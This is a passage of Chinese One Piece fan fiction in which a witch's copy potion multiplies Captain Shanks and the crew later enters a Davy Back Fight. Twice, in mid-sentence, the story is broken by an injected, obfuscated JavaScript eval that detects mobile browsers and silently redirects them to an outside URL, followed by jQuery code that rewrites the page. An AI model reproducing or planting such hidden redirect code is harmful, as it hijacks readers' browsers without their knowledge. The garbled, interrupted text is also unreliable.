香克斯从其中一本厚重的图集后面摸出了一个细颈酒瓶,那沾着稻草的深色酒瓶终于得以重见天日。
“这瓶是……噢,李子酒,也不错!”
“你当初就是这样偷把我的魔药也喝了吧!”目睹了完整作案过程的巫女难掩愤怒,她现在就想用手里捣药的棍子去狠敲他的脑袋。
“我以为那也是之前藏起来的酒来着。”香克斯咧嘴一笑,晃晃手里的瓶子,“结果味道还有点甜……像杨梅?尝尝不?李子酒的味道也不错。”
“饶了我吧,船长。”她擦了一根火柴,把加热的装置点燃,开始温药了。
她用手掌撑着下巴靠在桌子上,盯着红棕色药液里偶尔冒起的小小气泡,火舌平静地灼烧瓶身,有那么一会儿,两个人谁都没有说话,巫女看着药瓶,香克斯则看着她。
“那个盒子你打开了吗?”在难得一见的平静中,巫女先开了口,但眼神仍盯着面前的药瓶。
“哪个盒子?”
“别装傻,船长!我说的是你之前在「人皮船」上找到的木盒子。”
“打开了。里面装了一部分地图和一个不知道什么动物的头骨。”
“是翠鸟的头骨,那块头骨和地图一样重要,都带着吧,船长。我真不知道你们为什么会对「赫里兹」有那么大兴趣,那里过去发生过很多可怕的事情,未来也会一样。”她呆呆地凝视着眼前跃动的火苗,明光烁亮的焰尾一味跳动着。
“所以我们才要去。”红发的船长眼里跃动着同样的火苗,她分不清那究竟是他眼睛本来的颜色,还是火苗的倒影染上去的,“冒险就是这样嘛。”
“说到打开,”香克斯悄咪咪的压低了声音对她说,“帮我把李子酒的瓶盖扭开呗!”
“我才不!你该喝药了,我尊敬的船长,看在副船长头上那些白头发的份儿上,赶紧把这瓶药一口灌了!”她隔着一块毛巾拿起滚烫的玻璃瓶子,瓶子里的棕紫色药液左右晃荡,还嘶嘶地冒着热气。
“别、不不不不不不——”香克斯搞不清自己一共说了几个不,“那是什么药?看上去——”
“是「复制魔药」的解药。”她解释道,步步向香克斯逼近,“如果你是本体,喝下之后什么事都不会有——除了有点恶心,因为我在原料里加了相当数量的大蠊,如果你是复制品,那你喝下之后就会消失,”巫女拽起他的披风,“别跑——”
“我不喝我不喝、拜托你了,海星,给我个面子——”
香克斯从地上迅速弹起来,他开始绕着书室的书架躲避巫女的“追击”,后者则想尽办法追上他给他灌药。
“面子?给你里子你要不要?!”她眼看抓不到也追不上,香克斯实在是太灵活了,他在书架和布满灰尘的箱子之间窜来窜去的,她怒意上涌,抄起手边的那瓶李子酒就往他身上砸。
“噢噢噢!这个我要,这个我要,李子酒!”
酒瓶砸到他身上,却让他给一把接着了,他用牙齿拧开瓶盖,一连灌饮了几大口,咳嗽起来。
真是肉包子打狗!她气不忿地捏紧拳头,想着有什么咒语能暂时困住他。
可还没等她想到合适的咒语——片刻之前,她眼前还只站着一个香克斯,拎着酒瓶,酒水顺着脖颈和前胸打湿了衬衫。
然而眼下,她面前多出了成倍的一模一样的香克斯,十几个红毛脑袋你看看我,我看看你,谁也不知道刚才发生了什么。
——这一切几乎是在眨眼间发生的。
23. 复制魔药(二)
“……事情大概就是这样。”
本乡听完后沉默了。他先是紧抿着嘴,一本正经地清了清嗓子,然而他颤动的嘴角却根本没办法掩盖他的笑意,他憋着笑直到双肩颤抖,而后终于,医务室爆发出了一阵响亮的笑声。
“医生……你严肃一点好吗。”巫女有点无奈地看着本乡,他捂着肚子笑得腰都弯了,“这是件很糟糕的事。”
“是啊,很糟糕。”本乡擦掉眼角笑出来的眼泪,“尤其是对咱们的副船长来讲。他知道这事吗?他怎么说?”
“早知道了。那十几个香克斯闹出来的动静比菜市场都大。”她拖了张医务室的椅子坐在上面,继续回忆道,“我一开始以为他会很生气,但是——”
但是,没有。就连她也觉得很奇怪。按理说,海贼的脾气都很大。
当时,贝克曼推门进书室的时候,手搭在门把上愣了足足有十几秒,他的目光从离门最近的那个香克斯移到最远的那个,又从最远处移回来,就这么来回看了三四次,连眼睛都没眨。
就当她怀疑副船长究竟是被什么定身咒定住了,还是是受到眼前的视觉冲击以至于身体应激在原地的时候,贝克曼忽然向她跨步走来了。
她心里跳得更厉害了,看着面前的男人一步步接近,该不会是先来找她算账的吧,她心里合计着,说到底,这也是她那瓶「复制魔药」搞出来的乱子,搞出了一堆船长出来,给他不知道加了多少麻烦,如果他真要苛责,那她也无话可说。
“对不起我搞砸了。”
她飞快地先道了歉,垂着眼睛始终没敢去看大副的脸。
然后,贝克曼抬起了手——她看清了那个动作,她原以为那是要打她或者敲她的脑袋——但是并没有。
那只手只是很轻地抚了下她的头发,把她刚在混乱中弄乱的发丝用手指简单梳顺了些。
“这群家伙吓到你了吧,”大副的语气在她面前没什么剧烈波动,他只是很轻地叹了口气,“至少现在情况不会变得更糟了。”
“然后,”在医务室里,巫女继续回忆道,“他甚至还安慰了我几句,说剩下的事情交给他来处理,让我先出来了,”她理了理自己的头发,“其实你们副船长人还挺好的,我一开始还以为他会大发脾气,但是没有。”
“脾气挺好?他?哈哈哈哈哈哈……”本乡听到她的评价后又笑起来。
“那是分人,这家伙真是——”这家伙在姑娘面前可真是会表现,本乡暗想,贝克曼脾气好?那自己现在隐约听到的爆栗声是怎么回事,书室那边肯定有哪个倒霉的船长的脑袋挨锤了。
“总之,”本乡续道,“管理船长的事情交给他就行了,反正一直以来都是这样。至于现在——嗯……你的鼠尾兰还够用吗?”
“不够了,”她说,“现在——原谅我的表述——船长的数量成倍地增多,原先那一瓶药根本就不够喝。”
“我这儿正好有多的。”本乡打开他的药柜去翻找里面的成包的药材,“我看看,鼠尾兰、鹅不食草、蓬头菌,你还需要什么?……五星叶?”
“不用,五星叶拿草木犀替代就行。”她若有所思地继续开口了,“其实我一直在想,船长他为什么那么抗拒喝下解药,难道只是因为他觉得多几个分身更好玩?药的味道太苦了?还是药的颜色不好看?不然下次加点甜剂……”
“别反思自己,”本乡打断她,把打好整齐包装的鼠尾兰和草木犀交到她手上,他敏锐地抓到了她的自责,以及想尽量做什么弥补的心情,“做医生有时都有这毛病,爱把事情怪在自己头上,别想那么多,这事儿不怪你,要怪就怪头儿嘴馋,什么都想尝一尝,至于他为什么不想喝解药,把他抓住灌完药再问都来得及。”
“那样能行吗……我不确定……”她从他手上接过那两包药,犹豫了一会儿。
“砰”地一声,医务室的门被一下子弹开了。
“莱姆,你小子,哪天要是门坏了我第一个找你!”
“你俩干嘛呢。”莱姆风风火火地闯进门,却若无其事地应了话,他显然无视了本乡对他关于门的责骂。
“还能干嘛?做解药,有事?”本乡撸起袖子,把药材仪器下面垫着的油布抽出来铺在桌面上。
“有事。”
莱姆飞快地走到巫女身边:“我想找你,来一下。”
“啊?……”
又什么事,她想,这边关于解药的麻烦还没解决呢。
她先是抬头看了眼莱姆,从他的眼睛里解读不出什么,虽然也有可能是他戴着墨镜的缘故。于是她扭头带着不确定的目光望向本乡,想至少征求一下他的意见。
本乡没说话,他同样也先看了眼莱姆——后者正把全部目光都放在面前的女孩身上,他也不懂莱姆突然进来是要干嘛。本乡随后发现她正在看着自己,那是一个带有不确定的眼神,似乎正等待着自己的下一句话。
“去吧,我在这儿等你。”本乡首先对她随和地笑笑,看向莱姆时,他随即又换了副表情,“你小子别做过分的事,还有出门的时候给我把门轻点——”
“知道了!”
又是“砰”地一声,门再次被莱姆重重地关上了,本乡在门后咒骂一声。
————————————————
莱姆拉着她的手臂和她一起离开了医务室,船廊外的过道没什么人,从这里只能听到甲板上远远传来的沉闷的的嘈杂声和响亮的撞击声。
“那边现在乱套了,”莱姆对她解释,“一下子出现了十七个头儿。”
“十七个?!怎么又多了,我记得刚在书室的时候,才十三个。”尽管有所心理准备,她仍吃了一惊。
“嗯,虽然不知道上限是多少。贝克刚才叫上我们几个人,打算把那些到处乱窜的头儿「收集」起来。”
「收集」这词听起来跟抓虫子一样,让她有点后背发麻,不过考虑到危险程度和破坏力,她觉得也差不多。
“所以你来找我是为了让我和你一起……呃、「收集」吗?”她想了想,吃力地问出那两个字。
“不是。跟这件事无关。”莱姆回答,“我来找你是因为…….”
出乎她意料的是,莱姆竟然犹豫了一下,他扭头看向舷窗外,似乎假装欣赏外面的风景,过会儿才继续回答:
“……是因为,因为我也搞不清楚为什么。”
真该死,莱姆想,他也搞不清楚为什么,这是真的,他现在搞不清楚自己,因为人和人之间的感情有时候就是这种模模糊糊让他搞不懂的东西,战斗带给他豁然开朗,感情则恰恰相反。
“我也搞不清楚为什么,”他下意识重复了一遍,“我突然想见你,所以就来找你了。”
她显然没太理解莱姆的逻辑,只是干巴巴地站在原地看着他。
“总之、反正……”莱姆顿了一下,继续说,“反正这个送你。”
莱姆从外套兜里掏出一个盒子,拉起她的手塞到她手里。
什么?她还有点搞不清楚状况,经历了一天船长的复制风波,她已经陷入了一种灾难化思维,这是什么?她盯着自己手里的那个黑色丝绒盒子,不是炸弹吧?
她先低头看看手里的丝绒小盒,又抬头看看莱姆,后者的眼睛里正饱含着一种略显不安的期待,就好像一只给人叼来了什么新奇物件儿的小狗,快打开看看吧,那双眼睛在说话。
只要里面不是炸弹就行,她一面想,一面轻轻地掀开了盒子盖。
是一枚胸针。中心嵌着一块黑欧泊,四周是银质的鸟类图案装饰,鸟的翅膀收拢着,羽毛的边缘刻出细密的纹路,尾羽微微下垂,抵住一小块乌银錾出的枯枝。
“好漂亮。”她盯着盒子里平躺着的宝石胸针,不由得发出一声感叹。
光在欧泊石中变幻游动——转动角度时,从灰蓝里浮出幽绿,幽绿随即又变换为火红,烟紫色在其中一闪而逝,像融化在一起的色盘。真好看,她想,光彩夺目的,如果天上的彩虹有眼睛,大概就是这样子吧。
“好漂亮,谢谢你。”
“看到觉得好就买了,喜欢就行。”莱姆扭过头,没解释太多,仍旧假装在看舷窗外的风景,尽管从那个舷窗向外什么也看不到。
“我会给你回礼的。”她用拇指触碰了下宝石胸针的边缘,冰凉凉的,这个品相的欧泊大都价值不菲,她对宝石市场稍微有些了解,因为某些仪式上需要用到特定的石头。
“我送你这个不是为了回礼的。”他稍有些着急地辩解道,“是为了、为了——”
为了什么?为了连他自己都说不清楚的东西。莱姆也不知道,因为那是一种无比奇妙的感觉、直觉、或者说想法。在他看到陈列着的宝石胸针的那一瞬间,这种感觉就击中了他。
如果她戴着一定很合适。他不知道自己因何会产生这种感觉,他唯一可以确定的是,在他想到这件事的瞬间,他觉得莫名很开心。
“为了——”
“轰隆”一声,前甲板破了个洞,打断了莱姆即将要说的话。
“看来那么多船长终于合在一起闯祸了。”她望向船廊的尽头,那里一片混乱,破碎的木屑和尘埃混在一起,一群人围过去查看情况。
“去吧,莱姆,”她对面前的人说。莱姆比她更敏锐地感知到了远处的混乱,他有一瞬间犹豫究竟是先把刚才的话说完还是先去解决乱子。
“去吧,去帮帮副船长。”她继续道,轻轻地碰了碰他的手臂。
“我过去看看,”莱姆决定离开之前,还是回头补了一句,“有事喊我。”
巫女看着船廊远处愣了一下,随即又低头看看手里的宝石胸针。
火红的颜色,她想,真是了不起的颜色。今天实在是太多了。
宝石的红色,药剂的红色,船长头发的红色,还有……
还有——
她猛然抬起头,一个猜想倏地刺进她的头脑。
还有李子酒的红色。
李子酒?
————————————————
“你认为是因为李子酒吗?”
贝克曼坐在前甲板的楼梯上,他面前是一群被「收集」起来的香克斯,为了抓到这些家伙,他和其他伙伴几乎软硬兼施,甚至散播消息说甲板上很快就要开场宴会。
现在这里是真正的红发海贼团了,贝克曼看着眼前二十几个红毛脑袋想到,不过他并没有把这话说出口。
“是的,李子酒,”巫女向他确认道,“我之前说过,原本的那瓶「复制魔药」并不是完成品,里面还少一些东西,不可能一下子复制出这么多船长出来。”
“所以李子酒发挥了最后作用,这家伙每多喝一口,就多蹦几个他自己出来。”贝克曼感到太阳穴一阵闷痛,他不得不用手掌揉一揉,不去看面前那些动来动去的香克斯们。
“托船长的福,我知道了加强「复制魔药」的方法,李子酒会把药效提高这么多。我会用相应的解药回报他的。”
贝克曼循着巫女的身影看去,她从腰间棕色皮革制挂带上解下一瓶药,走近了其中一个香克斯。
他们的船长可从来不是个会乖乖喝药的听话孩子。贝克曼从台阶上站起身,想去帮帮她,被她打个手势阻止了:“我来就行,副船长,交给我吧。”
雷德弗斯随着平静的波涛晃荡,午后并不热烈的阳光将桅杆的影子拉长到海面。
香克斯看到她拿着药
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261294|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瓶向自己走过来了,他即刻移开视线,假装很认真地用手摆弄着上衣扣子,一边撅嘴哼着歌。
“别继续装傻,船长,我知道你心里什么都明白。”
香克斯被她盯着有点心虚,他看向她,又很快收回视线,周围的其他香克斯依旧吵吵闹闹的。
她坐到香克斯身边,继续对他说:“我想知道你为什么不愿意喝解药。船长,难道你害怕?”
“我没有。”香克斯依旧低头拨弄着上衣扣子,他语气闷闷地简短回答了,听上去蛮不在乎,但这骗不过她,她知道那大多是在嘴硬。
“我知道,你是个无所畏惧的船长。”她眺望远处的海浪,缓缓开口,“我想不出这片海上能有什么让你感到恐惧,你很强大,有厉害的伙伴和你一起航行,你把大海的自由和危险看作是自己生命的一部分,这一切毋庸置疑——要不是这样,这艘船早就被海浪掀翻了。”
香克斯安静地听着她的话,同样望向远处翻腾的浪花。
“只不过,”她继续道,“每个人——或多或少——都有自己不想面对的东西,那正是人性的美妙之处,你也不例外,船长。”
“如果有一天,”她接着说,“如果有一天我早上醒来,发现身边有一个和自己一模一样的人。而此时有另一个人跑过来跟我说,只要喝下这瓶解药,你们之中的复制品就会消失,我肯定也不会喝的。因为——”
她转过头,直直地盯着香克斯,后者一动不动,被她说破了心思:“因为你肯定也察觉到了吧,船长,魔药创造的复制品和本体之间,是没有任何区别的,过去的记忆、人格、情感、思想、这一切都一模一样,相同到连你自己也拿不准你究竟是本体还是复制品。”
香克斯不置可否,远处的海浪翻起又落下,抛出一层细碎的白色泡沫。
“这也就意味着,你知道自己喝下解药后是有可能会消失的,如果消失了,你的冒险就到此为止了。本体和复制品——那只是魔药研究者为了区别而起的称呼,其实所有个体的心智和思想都是相同的,因为你们共享一个灵魂——正因如此,你不想仅仅因为这样的理由就消失,你不想失去伙伴,不想失去冒险,也不想失去自己。对吗?香克斯。”
香克斯紧抿着嘴唇,像是正在思考些什么,他又从远处看回到自己衬衫上的纽扣,他一动也不动,任凭她触碰自己的肩膀,一字一句地对自己说话。
“你说得对。”
随后,他承认了。
“但是,你也是知道的,船长。一山难容二虎,何况现在已经——”她打眼一扫甲板上的众多香克斯,“已经二十五只虎了。别让咱们的副船长更憔悴了,你看看他,他就坐在那边的台阶上,像一个疲劳的母亲。这个大海上,有四皇已经足够,不需要……二十八皇。”二十八还是保守估计,因为她看到桅杆旁的另一个香克斯又灌了一瓶李子酒。
“把解药喝了吧,船长。”
香克斯听到她在自己耳边低声劝道,他一味盯着自己衣服上的纽扣,克制自己没有转头去看她,因为那双眼睛的请求让人无法拒绝,除非不要去看。
“把药喝掉吧,香克斯。”
————————————————
海潮的浮沫向远处退去,傍晚金红色的光芒映照在海浪上,太阳的色彩变得浓郁,月亮在天空的另一端隐隐闪耀。
“海星,我忽然想到一个高效管理的好主意!”
她听见船上唯一剩下的一个香克斯对她说话——船上持续将近一天的复制风波终于告一段落,零散几个船员在修复甲板上的破洞。
“什么?”她有气无力地回应,她今天劝说过太多香克斯了,她已经没劲说话了,这是她有史以来说话最多的一天。
“你要不试试复制一百个贝克出来。”香克斯笑嘻嘻地出了个鬼点子。
“船长…..我找茬儿都想不出这么好的主意。”她听到他的话,稍微想象了一下那个场面,不自觉露出笑意,“万一伙食不够,是不是我还要再复制一百个拉基路厨师出来?万一其中有人受伤人手不够,是不是还要再复制一百个本乡医生出来?这么多人分几条船,我应该再复制一百个斯内克领航员出来。如果遇到敌人围攻呢?我再复制一百个莱姆出来迎战——当然,电棍复制不了。”
“那可太——”
“可太糟糕了!船长。”她立刻打断了兴奋的香克斯,她怕他真让她复制一百个出来试试,“我说过的,无论复制出多少个体,灵魂永远只有一个,一个灵魂被那么多具身体分割,从精神上就会慢慢受不了的。”
最重要的是再折腾几次,我的精神也要受不了了,她暗想。方才喝下解药的香克斯复制品即将消失的时候,一堆船员难舍难分地糊在他们船长身上哭,场面真是要多凄惨有多狼狈。
她无可奈何地苦笑出来,扶着船舷打算回房间静静。
“噢,你刚才笑了!海星。”香克斯像发现了什么秘密似的。
“我没有。你看岔了,船长。”她立马一脸正色。
“你笑了!我看见了!”
“我没有。”
“我都看见了,你笑得很好看。”
“我没有!”
“路,你是不是也看见了,刚才肯定——”
甲板上刚冷却下来的气氛又热闹起来,船上的灯火一盏盏亮起,流动的光晕浮上海面。
贝克曼靠在另一边船舷上用火柴点了烟,船上的哄闹和吵嚷声又重新掀起,传进他的耳朵。
这样也挺不错的,他想。远远地看着那群家伙闹成一团,总让贝克曼莫名有种膝下子孙满堂乱跑,岁月乱好的感觉。
不过这话他没对任何人说过就是了。
24.Davy Back Fight(一)
断崖岛海岸线周遭的悬崖几乎垂直于海面,巫女在遍布岩石的海岸上缓缓前进,小心避开石缝间腐朽的枯木、贝类和海草。正是退潮的时候,湿润的礁石在太阳下闪闪发光。
“……然后,”莱姆琼斯走在她身边,踢开一块木头,继续道:“戴维从此被恶魔诅咒,沉到了海底。从那之后,所有被沉到海里的水手和财宝,全都被他收进海底的保险柜里。他每天都会打开自己的保险柜查看,每当那个时候,海水也会被吸进去,所以大海就会退潮。”
“你们的传说还挺有意思的。”她抬起头,看向莱姆被海风吹乱的金色发丝,好吧,她承认,她刚才其实没怎么认真听他讲的那些故事,她一直在想莱姆把头发扎起来会是什么样。
“但是,”她说,“我不觉得大海退潮是因为那个叫戴维琼斯的人在海底打开了他的保险柜。潮汐的涨落应该跟月亮有关,是月亮的引力。”
“月亮跟大海差了十万八千里远。”莱姆不以为然,他不觉得距离那么远的月亮会和大海有什么关系。他蹲下身,用枯枝随意拨弄沙砾中的一块石头,一只螃蟹从石头底下钻了出来。
“是很远,但不意味着两者没有联系。事实上……”她转过身,却看到海滩远处有人正向这个方向走来,“事实上——咱们还是下次再聊吧,莱姆,有人来找你了。”
他闻言回过头,看到耶稣布正沿着海滩朝他们的方向快步走过来,他再一回头,巫女已经从他身旁跑远了。
“哟,莱姆,跟小姑娘两个人海滩漫步很悠闲嘛。”耶稣布终于走进近了向他打趣道。
耶稣布看样子为了追上他们走了很远,他鞋子上的钉扣还勾住了一根海草。
“我们只是说两句话。”莱姆把手上的枯枝丢在地上,“什么事?”
“只是说两句话?是吗?最近你总去找她,难不成是因为你特别喜欢说话吗?”这位狙击手笑了笑,“行了,不开你玩笑了。把棍子准备起来吧,小伙子,现在咱们全体都要有事干了,你刚才应该也叫上她的。”
————————————————
她回到主船的第一件事就是回房间待着,但她刚登上甲板时发觉有些反常,按理说雷德弗斯在这座荒无人烟的断崖岛停靠了三天,今天本该是收拾东西启程的日子,但此刻更多人正往船下搬东西。
“咱们得在这儿多停一天了。”这艘船的航海士——斯内克手里抓着一摞木条走了过来,红色的龙形纹身缠绕着他的胸膛,在太阳底下显得格外扎眼。
“什么意思?”她问。
“头儿他——”
忽然间,“嘭”地两道连续的枪声在不远处的空地响起,惊乱了更远处的鸟群。
她循声看过去,不是敌袭,那里只站着两个人,其中一个是香克斯——她看到了那头称得上是标志性的红发。
香克斯背对着她的方向,她只能看清他的背影和被海风吹动的烈焰般的头发,他右手正握着一柄枪,而后他地高举起持枪的那只手,枪口对准天空,缓缓扣下扳机。
枪声轰鸣。
“头儿接受了。果然是这样。”
“什么接受?什么果然?”斯内克净说一些让她听不懂的话。
“Davy Back Fight,海贼之间的决斗。”斯内克解释道,一边在船舷上把手里的木条梳码整齐,“早些时候,同样登陆这座岛的另一个海贼团给我们下了战帖。”
“又要打架?”
“不是打架。是海贼之间彼此抢夺同伴的一种竞赛。赢的人可以从输的人那里抢夺同伴,双方船长对空鸣枪两下就算同意,比赛马上就可以开始。就这么简单,好了,我介绍得够多了,抽签吧。”
斯内克向她伸出手里那一摞木条,示意她在其中选一个。
“这又是什么?”她皱眉看着斯内克手里掐着的一捆木签,“海贼之间的竞赛——我都能想象得到,肯定不是比谁拍苍蝇拍得多或者打水漂打的更远那种游戏吧。在海上拼刀拼抢砍别人脑袋砍腻了的家伙想找点儿更新奇刺激的砍头方式,我可以这样理解吧?”
“你这样想倒也差不多,Davy Back就是这么残酷的游戏,不管我们是否愿意,”他笑了笑,继续说,“这次规则是比赛三场,每场参赛者出场顺序由抽签决定,所有船员都要抽签。”斯内克单手握着一把木签,递她更近了些,“抽吧。”
“什么……我也要抽吗?”她有点懵,她不确定自己算不算真正意义上的船员。
“对。”斯内克补充,“赌上生死的游戏,人人有份,这就是海贼的方式。”
“那……我也要死吗。”她的眼神在眼前的木签和斯内克两者间来回游移着。
斯内克在回答之前,绷着嘴巴很明显地叹了口气,“我们不会让你死的,你大可以多信任我们一点。”
————————————————
“我看这座岛再也不会比今天更热闹了。”
海岸边,海贼的叫嚷声乱作一团,吵得人耳膜生疼,其中一些来自于红发海贼团的水手,另一些则来自于他们的挑战者——
“叫什么来着?”她有些记不清了,摆弄了两下手里刚抽的签,还是没想起来。
“黑狗——黑狗海贼团。”本克宾治在她身边友好地回答道,他的搭档——那只叫猛士达的小猴子,正忙着把他的手臂当成丛林里的树枝,挂在上面晃荡来去。
“以前从来没听过他们,明明是个名不见经传的小团伙,也敢来挑衅我们了。”莱姆琼斯抱着胳膊站在另一侧,看上去似乎有些不忿,海风把他的长发吹向一边。
“那个人,”她指了指远处站在一块黑色礁石上戴着一顶大帽子的男人,那顶折边大三角帽颇为显眼,快有他两个脑袋大了,大得甚至有些滑稽,“那个人是他们的船长吗?为什么叫黑狗?他们海贼团养了狗吗?”
“谁知道为什么要叫黑狗?反正我从头到尾连半条狗也没见着。那边那个「大帽子」,是他们副船长,现在代理船长。至于他们船长,”莱姆哼了一声,“谁知道,估计躲在哪里吓得不肯出来,或者叫之前的抢人游戏抢走了吧。”
“挺奇怪的。”她说,“平平无奇的小团伙,甚至船长也不在,为什么突然想到来找四皇决斗。”
“肯定是脑袋搭错筋了。”莱姆回答。
“我看不是。我觉得——你们说有没有可能——因为他们那边少了个船长,所以想把咱们头儿挖过去?”本克宾治思索了一下,提出自己的猜测,他的猴子搭档趴在他肩膀上,显然也认同他的话。
“把——?!你说他们可能是想把香克斯挖过去吗?”巫女为音乐家的猜测感到诧异,她差点儿喊了出来,实在很难想象香克斯会跳到别的海贼团,以及那之后究竟会发生什么惊世骇俗的事情,她意识到自己声音有点大了,随即压低声音继续说:
“我不确定。说实话,如果我是前来挑战的敌人的话,赢了比赛我肯定第一个先考虑把你们的副船长挖走,而不是香克斯。”
“为什么?”莱姆不解,头儿好歹实力强悍,没那么不堪吧。
“虽然我呆在你们这艘船上的时间不长,”她捋了下被海风吹乱的头发,远处聚团的海贼还在闹哄哄地叫嚷着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263969|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
搭建比赛场地,“确实,包括船长在内,你们这里的每一个干部成员都不可或缺,但是——副船长肯定是里面更不可或缺的一个,不管从什么角度来说。也许你觉得我这话有点夸张,但不是每个人都能承担得起香克斯。”
“不夸张,光是喝酒钱就快承担不起了。”宾治掐着腰大笑了两声。
“欸!你们!我可都听见了!”香克斯一只手撑着船舷,远远地朝海滩上正在讨论的三人一猴喊着。贝克曼就站在他身边,似乎也听见了,勾勾嘴角像是笑了一下。
“他听力这么好的吗?!”巫女立即小声得不能再小声地嘀咕着。
“头儿的见闻色很厉害。”
“能闻这么远……”
“不是真用鼻子闻——”
三人一猴继续靠在海岸的一块礁石旁嘀嘀咕咕着。
“她说得太夸张了!承担不起什么的……”香克斯转过头看向大副,像是要寻找一些认同,“对不对?贝克。”
“不夸张。”贝克曼板着面孔简短地答复他,“上个月的酒钱你先解决一下吧。”
————————————————
嶙峋的黑色礁石从近海的海面刺出,像巨□□错的獠牙。海盗们就在这獠牙缝隙里硬凿出了一条划船比赛的赛道。
三艘两米长的小木船被铁链首尾咬住,横在浪急的峡口充当起点浮标,随浪起伏时吱呀作响,船头还耷拉着半截破烂渔网。
“第一场比赛是谁?”
“我。”巫女举了下手里的木签,她哀怨地看向上面的数字,“我怎么抽奖的时候从来都没这样的好运气。”
猛士达也挥动起它手中的木签,表示自己也是抽中的一员。
“好搭档,看来这次咱们得分开行动了。”宾治无不遗憾地说,他看着自己手中木签上的数字和猛士达的截然不同。
“第一场只有我和猛士达吗?”虽然不知道小猴子划船技术怎么样,她自己可一点儿都不擅长划船,“副船长会被输给对面的。”
“谁说的?还有我。”
斯内克走了过来,他手里捏着一截木签——所有木签被抽走后留下的最后的那个——那上面的数字和她的一样。
“谁来了?咱们的航海士!”宾治庆贺地揽过来者的肩膀,猛士达也顺着爬到了斯内克肩上,“这把稳了!”
“哦,太好了。”她同样感叹道,不是因为有了航海士这把稳不稳的问题,而是因为有大腿能抱意味着她可以少出点力。
“你可以吗?”斯内克走近她,“如果……”
“别小看我。”巫女匆忙打断他的话,她知道他要说什么,“我也会帮上忙的,为了保卫副船长。”
“说得好!保卫副船长!”宾治大笑起来,他的笑声很响亮,甚至笑得很有节奏,引得旁边一众海贼纷纷跟着起哄:
“保卫副船长!”
“我也要保卫副船长!”
“我也来保卫哈哈哈哈哈哈!”
“欸!你们!就没人想保卫一下我吗?”香克斯依旧一只手撑着船舷,探出身子远远地朝海滩上起哄成一团的船员喊着。
可惜此时此刻没一个人搭理他,大家都沉浸在保卫副船长的热切氛围里。
“你看看他们,贝克!”香克斯转头向大副告状,他佯装心碎地表演起来:
“你们就这样继续起哄吧,我这个船长就在船上失望地看着你们,一点儿都不苦、不累、不难过。”
可惜也没人围观船长的表演,除了他身边的大副,然而贝克曼只是抖开手里的报纸,尴尬地咳了一下,什么都没说。